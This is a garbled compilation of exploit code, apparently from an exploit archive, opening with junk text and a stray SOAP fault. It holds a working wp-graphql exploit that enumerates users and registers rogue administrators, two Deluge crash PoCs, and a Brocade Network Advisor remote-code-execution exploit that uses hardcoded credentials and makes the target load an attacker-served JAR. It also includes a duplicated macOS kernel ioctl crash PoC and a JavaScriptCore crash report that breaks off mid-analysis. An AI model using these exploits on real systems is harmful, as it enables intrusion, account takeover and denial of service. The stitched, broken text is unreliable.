! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha !rk" xmlns:ebs="http://server/om/EBS_ASSET_HISTORY_OPERATIONS"><soapenv:Fault><faultcode>soapenv:Server.SYS000000</faultcode><faultstring>Undefined Avea Service Bus Error</faultstring><detail><faul:ExceptionSchema xmlns:faul="http://server/Fault"><faul:UUID>MW-4b9f61d0-7792-4e54-a694-b9ef8c407b7e</faul:UUID><faul:Exception><faul:system>SYSTEM</faul:system><faul:code>OSB-382510</faul:code><faul:message>SYS000000:Undefined Avea Service Bus Error</faul:message><faul:stackTrace>PipelinePairNodePipelinePairNode_requestDynamic Validationrequest-pipelinetrue</faul:stackTrace></faul:Exception></faul:ExceptionSchema></detail></soapenv:Fault></soapenv:Body></soapenv:Envelope>
#!/usr/bin/env python
#
# Author: Simone Quatrini of Pen Test Partners
# CVEs: 2019-9879, 2019-9880, 2019-9881
# Tested on Wordpress 5.1.1 and wp-graphql 0.2.3
# https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
import argparse
import requests
import base64
import json
import sys
parser = argparse.ArgumentParser(description="wp-graphql <= 0.2.3 multi-exploit")
parser.add_argument('--url', action='store', dest='url', required=True, help="wp-graphql endpoint. e.g.: http://localhost/wordpress/graphql")
parser.add_argument('--post-comment', nargs=3, action='store', metavar=('postid','userid','commenttext'), dest='comment', required=False, help="Post comment impersonating a specific user. e.g.: --post-comment 2 1 Test")
parser.add_argument('--register-admin', nargs=3, action='store', metavar=('email','password','username'), dest='register', required=False, help="Register a new admin user. e.g.: --register-admin test@example.com MySecretP@ssword hax0r")
parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")
args = parser.parse_args()
def show_plugins(url, headers, verbose):
payload = {"query":"{plugins{edges{node{name,description,version}}}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'node' in response.text:
print "[+] Installed plugins:"
parsed = json.loads(response.text)
for i in parsed['data']['plugins']['edges']:
print i['node']['name']+" "+i['node']['version']
else:
print "\n[-] Error code fetching plugins: ", response.status_code
if verbose:
print(response.text)
def show_themes(url, headers, verbose):
payload = {"query":"{themes{edges{node{name,description,version}}}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'node' in response.text:
print "\n[+] Installed themes:"
parsed = json.loads(response.text)
for i in parsed['data']['themes']['edges']:
print i['node']['name']+" "+str(i['node']['version'])
else:
print "\n[-] Error code fetching themes: ", response.status_code
if verbose:
print(response.text)
def show_medias(url, headers, verbose):
payload = {"query":"{mediaItems{edges{node{id,mediaDetails{file,sizes{file,height,mimeType,name,sourceUrl,width}},uri}}}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'node' in response.text:
print "\n[+] Media items:"
parsed = json.loads(response.text)
for i in parsed['data']['mediaItems']['edges']:
print "/wp-content/uploads/"+i['node']['mediaDetails']['file']
else:
print "\n[-] Error code fetching media items: ", response.status_code
if verbose:
print(response.text)
def show_users(url, headers, verbose):
payload = {"query":"{users{edges{node{firstName,lastName,nickname,roles,email,userId,username}}}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'node' in response.text:
print "\n[+] User list:"
parsed = json.loads(response.text)
for i in parsed['data']['users']['edges']:
print "ID: "+str(i['node']['userId'])+" - Username: "+i['node']['username']+" - Email: "+i['node']['email']+" - Role: "+i['node']['roles'][0]
else:
print "\n[-] Error code fetching user list: ", response.status_code
if verbose:
print(response.text)
def show_comments(url, headers, verbose):
payload = {"query":"{comments(where:{includeUnapproved:[]}){edges{node{id,commentId,approved,content(format:RAW)}}}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'node' in response.text:
print "\n[+] Comments list:"
parsed = json.loads(response.text)
for i in parsed['data']['comments']['edges']:
print "ID: "+str(i['node']['commentId'])+" - Approved: "+str(i['node']['approved'])+" - Text: "+str(i['node']['content'])
else:
print "\n[-] Error code fetching comments list: ", response.status_code
if verbose:
print(response.text)
def show_password_protected(url, headers, verbose):
payload = {"query":"{posts(where:{hasPassword:true}){edges{node{title,id,content(format:RAW)}}}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'node' in response.text:
print "\n[+] Found the following password protected post(s):"
parsed = json.loads(response.text)
for i in parsed['data']['posts']['edges']:
print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
else:
print "\n[-] No password protected post found"
if verbose:
print(response.text)
payload = {"query":"{pages(where:{hasPassword:true}){edges{node{id,link,title,uri,content(format:RAW)}}}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'node' in response.text:
print "\n[+] Found the following password protected page(s):"
parsed = json.loads(response.text)
for i in parsed['data']['pages']['edges']:
print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content'])
else:
print "\n[-] No password protected page found"
if verbose:
print(response.text)
def post_comment(url, headers, postID, userID, comment, verbose):
payload = {"query":"mutation{createComment(input:{postId:"+postID+",userId:"+userID+",content:\""+comment+"\",clientMutationId:\"UWHATM8\",}){clientMutationId}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'UWHATM8' in response.text:
print "[+] Comment posted on article ID "+postID+""
else:
print "\n[-] Error posting the comment. Check that postID and userID are correct"
if verbose:
print(response.text)
def register_admin(url, headers, email, password, username, verbose):
payload = {"query":"mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\""+email+"\",password:\""+password+"\",username:\""+username+"\",roles:[\"administrator\"]}){clientMutationId}}"}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200 and 'UWHATM8' in response.text:
print "[+] New admin created. Login with "+username+":"+password
else:
print "\n[-] Registrations are closed, can't proceed."
if verbose:
print(response.text)
def check_endpoint(url, headers):
payload = {'':''}
response = requests.post(url, data=json.dumps(payload), headers=headers)
if response.status_code == 200:
print "[+] Endpoint is reachable\n"
else:
print "\n[-] Endpoint response code: ", response.status_code
sys.exit()
url = args.url
headers = {'Content-type': 'application/json', 'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
verbose = args.verbose
# Only in case '--post-comment' is passed
if args.comment:
postID, userID, comment = args.comment
check_endpoint(url, headers)
post_comment(url, headers, postID, userID, comment, verbose)
sys.exit()
# Only in case '--register-admin' is passed
if args.register:
email, password, username = args.register
check_endpoint(url, headers)
register_admin(url, headers, email, password, username, verbose)
sys.exit()
# Default actions if only '--url' is passed
show_plugins(url, headers, verbose)
show_themes(url, headers, verbose)
show_medias(url, headers, verbose)
show_users(url, headers, verbose)
show_comments(url, headers, verbose)
show_password_protected(url, headers, verbose)
#Exploit Title: Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-20
#Vendor Homepage: https://dev.deluge-torrent.org/
#Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe
#Tested Version: 1.3.15
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: deluge_web.py
#2.- Open deluge_web.txt and copy content to clipboard
#3.- Open deluge.exe
#4.- Select "File" > "Create Torrent"
#5.- In "Webseeds" field paste Clipboard
#6.- Crashed
cod = "\x41" * 5000
f = open('deluge_web.txt', 'w')
f.write(cod)
f.close()
#Exploit Title: Deluge 1.3.15 - 'URL' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-20
#Vendor Homepage: https://dev.deluge-torrent.org/
#Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe
#Tested Version: 1.3.15
#Tested on: Windows 7 Service Pack 1 x64
#Steps to produce the crash:
#1.- Run python code: deluge_url.py
#2.- Open deluge_url.txt and copy content to clipboard
#3.- Open deluge.exe
#4.- Select "File" > "Add Torrent" > "URL"
#5.- In "From URL" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
cod = "\x41" * 5000
f = open('deluge_url.txt', 'w')
f.write(cod)
f.close()
/*
Exploit Title: Brocade Network Advisor - Unauthenticated Remote Code Execution
Date: 2017-03-29
Exploit Author: Jakub Palaczynski
Vendor Homepage: https://www.broadcom.com/
CVE: CVE-2018-6443
Version:
Tested on Brocade Network Advisor 14.X.X versions. Other may also be affected.
Tested on EMC Connectrix Manager Converged Network Edition 14.4.1. Other may also be affected.
IBM Network Advisor seems to also be affected.
Info: Exploit uses hardcoded and undocumented credentials for JBoss JMX to execute arbitrary command on system.
*/
import javax.management.remote.*;
import javax.management.*;
import java.util.*;
import java.lang.*;
import java.io.*;
import java.net.*;
import com.sun.net.httpserver.*;
import java.util.Scanner;
import java.security.*;
import java.security.cert.*;
import javax.net.ssl.*;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
public class RemoteMbean {
private static String JARNAME = "compr.jar";
private static String OBJECTNAMEA = "BNASupport:name=support,id=3434";
private static String OBJECTNAMEB = "BNASecurity:name=loader,id=3535";
private static String EVILCLASS = "com.expl.Evil";
private static String localIP;
private static int localPort;
private static String connString;
private static String command;
private static String username;
private static String password;
private static String host;
private static int port;
private static int jmxport;
private static String tspwd;
public static void main(String[] args) {
try {
if (args.length < 3) {
showHelp();
}
tspwd = "changeit"; // default Java keystore password
host = args[0].split(":")[0]; // IP of BNA
port = Integer.parseInt(args[0].split(":")[1]); // HTTPS port of BNA
char SEP = File.separatorChar;
String path = System.getProperty("java.home") + SEP + "lib" + SEP + "security";
File dir = new File(path);
File file = new File(dir, "cacerts");
if (file.isFile() == false) {
file = new File(dir, "jssecacerts");
path = path + SEP + "jssecacerts";
} else {
path = path + SEP + "cacerts";
}
// import SSL certificate into Java keystore
checkCert(tspwd, file, path, host, port);
// check if hardcoded password is still there and find JMX port
jmxport = checkPwd(args[0]);
if (jmxport == 0) {
System.out.println("[-] Cannot find JMX port, trying default ...");
jmxport = 24604;
}
connString = "service:jmx:remote://" + host + ":" + jmxport + "/"; // connection string for JMX - if "Unsupported protocol" error then maybe should be changed to "remoting-jmx"
command = args[1]; // command to execute
localIP = args[2].split(":")[0]; // reverse IP address
localPort = Integer.parseInt(args[2].split(":")[1]); // reverse port
username = "admin"; // hardcoded username
password = "no12see!"; // hardcoded password
// starting HTTP server for serving mlet
System.out.println("[+] Starting HTTP server.");
HttpServer server = HttpServer.create(new InetSocketAddress(localPort), 0);
server.createContext("/mlet", new MLetHandler());
server.createContext("/" + JARNAME, new JarHandler());
server.setExecutor(null);
server.start();
// start exploitation
connectAndOwn(connString, command, username, password);
server.stop(0);
// clean up Java keystore
deleteCertificate(file, path, tspwd, host);
} catch (Exception e) {
e.printStackTrace();
}
}
static void showHelp() {
System.out.println("HOWTO: java -cp ./jboss-cli-client.jar:. RemoteMbean IP:BNA_HTTPS_PORT/ \"COMMAND\" REVERSEIP:REVERSEPORT");
System.out.println("Example: java -cp ./jboss-cli-client.jar:. RemoteMbean 127.0.0.1:443 \"id\" 127.0.0.1:1234");
System.exit(0);
}
static boolean checkCert(String tspwd, File file, String path, String host, int port) {
try {
InputStream in = new FileInputStream(file);
KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
ks.load( in , tspwd.toCharArray()); in .close();
SSLContext context = SSLContext.getInstance("TLS");
TrustManagerFactory tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
tmf.init(ks);
X509TrustManager defaultTrustManager = (X509TrustManager) tmf.getTrustManagers()[0];
SavingTrustManager tm = new SavingTrustManager(defaultTrustManager);
context.init(null, new TrustManager[] { tm }, null);
SSLSocketFactory factory = context.getSocketFactory();
System.out.println("[+] Checking certificate.");
SSLSocket socket = (SSLSocket) factory.createSocket(host, port);
socket.setSoTimeout(10000);
try {
socket.startHandshake();
socket.close();
System.out.println("[+] Certificate is already trusted.");
return true;
} catch (SSLException e) {
// e.printStackTrace(System.out); // uncomment to see what SSL error occured
}
X509Certificate[] chain = tm.chain;
if (chain == null) {
System.out.println("[-] Failed to obtain certificate. Connection to JMX server may fail.");
return false;
}
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
MessageDigest sha1 = MessageDigest.getInstance("SHA1");
MessageDigest md5 = MessageDigest.getInstance("MD5");
for (int i = 0; i < chain.length; i++) {
X509Certificate cert = chain[i];
sha1.update(cert.getEncoded());
md5.update(cert.getEncoded());
}
X509Certificate cert = chain[0];
String alias = host;
ks.setCertificateEntry(alias, cert);
OutputStream out = new FileOutputStream(path);
ks.store(out, tspwd.toCharArray());
out.close();
System.out.println("[+] Added certificate to " + path + " using alias '" + alias + "'");
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
static int checkPwd(String target) {
try {
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}
public void checkClientTrusted(X509Certificate[] certs, String authType) {}
public void checkServerTrusted(X509Certificate[] certs, String authType) {}
}
};
SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
HostnameVerifier allHostsValid = new HostnameVerifier() {
public boolean verify(String hostname, SSLSession session) {
return true;
}
};
HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid);
// connect to BNA website
System.out.println("[+] Connecting to BNA website.");
URL url = new URL("https://" + target + "/dcm-client/dcmclient.jnlp");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in .readLine()) != null) {
content.append(inputLine);
} in .close();
con.disconnect();
// check for hardcoded password
if (!(content.indexOf("k62dCsMggeFy9oyf93Rujw==") >= 0)) {
System.out.println("[-] Cannot find hardcoded credentials.");
return 0;
}
else {
System.out.println("[+] Hardcoded credentials confirmed.");
}
// retrieve JMX port
Pattern p = Pattern.compile(Pattern.quote("jnlp.dcm.dcm.jmxport\"") + "(.*?)" + Pattern.quote(">"));
Matcher m = p.matcher(content);
while (m.find()) {
System.out.println("[+] Found JMX port: " + m.group(1).split("\"")[1] + ".");
return Integer.parseInt(m.group(1).split("\"")[1]);
}
} catch (Exception e) {
e.printStackTrace();
return 0;
}
return 0;
}
static void connectAndOwn(String connString, String command, String username, String password) {
JMXConnector c;
try {
JMXServiceURL u = new JMXServiceURL(connString);
// connect and authenticate
System.out.println("[+] Connecting using hardcoded credentials...");
Map env = new HashMap();
String[] creds = {
username,
password
};
env.put(JMXConnector.CREDENTIALS, creds);
c = JMXConnectorFactory.connect(u, env);
System.out.println("[+] Successfully connected.");
MBeanServerConnection m = c.getMBeanServerConnection();
// check if custom MBeans already exist
ObjectInstance evil_bean = null;
try {
evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAMEA));
} catch (Exception e) {
evil_bean = null;
}
if (evil_bean == null) {
ObjectInstance oi = null;
ObjectName mletObjName = new ObjectName(OBJECTNAMEA);
ObjectName mletLoaderName = new ObjectName(OBJECTNAMEB);
System.out.println("[+] Registering MLet class.");
try {
oi = m.createMBean("javax.management.loading.MLet", mletLoaderName);
} catch (javax.management.InstanceAlreadyExistsException e) {
oi = m.getObjectInstance(new ObjectName(OBJECTNAMEB));
}
System.out.println("[+] MLet class successfully registered.");
System.out.println("[+] Downloading and registering custom class.");
Object res = m.invoke(oi.getObjectName(), "getMBeansFromURL", new Object[] {
String.format("http://%s:%d/mlet/", localIP, localPort)
}, new String[] {
String.class.getName()
});
HashSet res_set = ((HashSet) res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception) nextObject);
}
evil_bean = ((ObjectInstance) nextObject);
}
System.out.println("[+] Custom class successfully registered.");
System.out.println("[+] Running command.\n");
ObjectName plok = new ObjectName(OBJECTNAMEA);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[] {
command
}, new String[] {
String.class.getName()
});
System.out.println("Result:\n" + result + "\n");
// unregister custom MBeans
System.out.println("[+] Cleaning up JMX.");
for (ObjectInstance x: m.queryMBeans(null, null)) {
if (x.getObjectName().toString().startsWith("BNASecurity")) {
m.unregisterMBean(x.getObjectName());
}
}
for (ObjectInstance x: m.queryMBeans(null, null)) {
if (x.getObjectName().toString().startsWith("BNASupport")) {
m.unregisterMBean(x.getObjectName());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
static class MLetHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = String.format("<HTML><MLET CODE=%s ARCHIVE=%s NAME=%s CODEBASE=http://%s:%d/></MLET></HTML>", EVILCLASS, JARNAME, OBJECTNAMEA, localIP, localPort);
System.out.println("[+] Received reverse connection for HTTP page.");
t.sendResponseHeaders(200, response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
static class JarHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
System.out.println("[+] Received reverse connection for JAR file.");
File file = new File(JARNAME);
byte[] bytearray = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray, 0, bytearray.length);
t.sendResponseHeaders(200, file.length());
OutputStream os = t.getResponseBody();
os.write(bytearray, 0, bytearray.length);
os.close();
}
}
private static final char[] HEXDIGITS = "0123456789abcdef".toCharArray();
private static String toHexString(byte[] bytes) {
StringBuilder sb = new StringBuilder(bytes.length * 3);
for (int b: bytes) {
b &= 0xff;
sb.append(HEXDIGITS[b >> 4]);
sb.append(HEXDIGITS[b & 15]);
sb.append(' ');
}
return sb.toString();
}
public static void deleteCertificate(File trustStore, String path, String password, String alias) {
try (final FileInputStream fis = new FileInputStream(trustStore)) {
final KeyStore keystore = KeyStore.getInstance(KeyStore.getDefaultType());
keystore.load(fis, password.toCharArray());
if (keystore.containsAlias(alias)) {
keystore.deleteEntry(alias);
OutputStream writeStream = new FileOutputStream(path);
keystore.store(writeStream, password.toCharArray());
writeStream.close();
System.out.println("[+] Certificate deleted from keystore.");
}
else {
System.out.println("[-] Alias " + alias + " not found in keystore.");
}
}
catch (final Exception e) {
System.out.println("[-] Error occured while deleting certificate.");
}
}
private static class SavingTrustManager implements X509TrustManager {
private final X509TrustManager tm;
private X509Certificate[] chain;
SavingTrustManager(X509TrustManager tm) {
this.tm = tm;
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
// throw new UnsupportedOperationException();
}
@Override
public void checkClientTrusted(final X509Certificate[] chain,
final String authType)
throws CertificateException {
throw new UnsupportedOperationException();
}
@Override
public void checkServerTrusted(final X509Certificate[] chain,
final String authType)
throws CertificateException {
this.chain = chain;
this.tm.checkServerTrusted(chain, authType);
}
}
}
/*
# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read
# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.
case SIOCSIFADDR:
ifa = (struct ifaddr *)data;
if (ifa == NULL) {
error = EAFNOSUPPORT;
break;
}
IFA_LOCK(ifa);
if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
IFA_UNLOCK(ifa);
error = EAFNOSUPPORT;
break;
}
Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).
# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8: 0xffffff805f9db7f0, R9: 0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0
Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>
/*
# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read
# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.
case SIOCSIFADDR:
ifa = (struct ifaddr *)data;
if (ifa == NULL) {
error = EAFNOSUPPORT;
break;
}
IFA_LOCK(ifa);
if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
IFA_UNLOCK(ifa);
error = EAFNOSUPPORT;
break;
}
Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).
# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8: 0xffffff805f9db7f0, R9: 0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0
Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/
#define IPPROTO_IP 0
int main() {
int s = socket(AF_SYSTEM, SOCK_DGRAM, IPPROTO_IP);
if (s < 0) {
printf("failed\n");
return 1;
}
struct ifreq ifr = {};
memcpy(ifr.ifr_name, "stf0\0000", 8);
int err = ioctl(s, SIOCSIFADDR, (char *)&ifr);
close(s);
printf("done\n");
return 0;
}
While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc from current HEAD (git commit 3c46422e45fef2de6ff13b66cd45705d63859555) in debug and release builds (./Tools/Scripts/build-jsc --jsc-only [--debug or --release]):
// Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10 --thresholdForFTLOptimizeAfterWarmUp=1000
function v0(v1) {
function v7(v8) {
function v12(v13, v14) {
const v16 = v14 - -0x80000000;
const v19 = [13.37, 13.37, 13.37];
function v20() {
return v16;
}
return v19;
}
return v8(v12, v1);
}
const v27 = v7(v7);
}
for (let i = 0; i < 100; i++) {
v0(i);
}
It appears that what is happening here is roughly the following:
Initially, the call to v12 is inlined and the IR contains (besides others) the following instructions for the inlined v12:
1 <- GetScope()
2 <- CreateActivation(1)
3 <- GetLocal(v14)
4 <- JSConstant(-0x80000000)
5 <- ValueSub(3, 4)
6 <- NewArrayBuffer(...)
Here, The CreateActivation instruction allocates a LexicalEnvironment object on the heap to store local variables into. The NewArrayBuffer allocates backing memory for the array.
Next, the subtraction is (incorrectly?) speculated to not overflow and is thus replaced by an ArithSub, an instruction performing an integer subtraction and bailing out if an overflow occurs:
1 <- GetScope()
2 <- CreateActivation(1)
3 <- GetLocal(v14)
4 <- JSConstant(-0x80000000)
5 <- ArithSub(3, 4)
6 <- NewArrayBuffer(...)
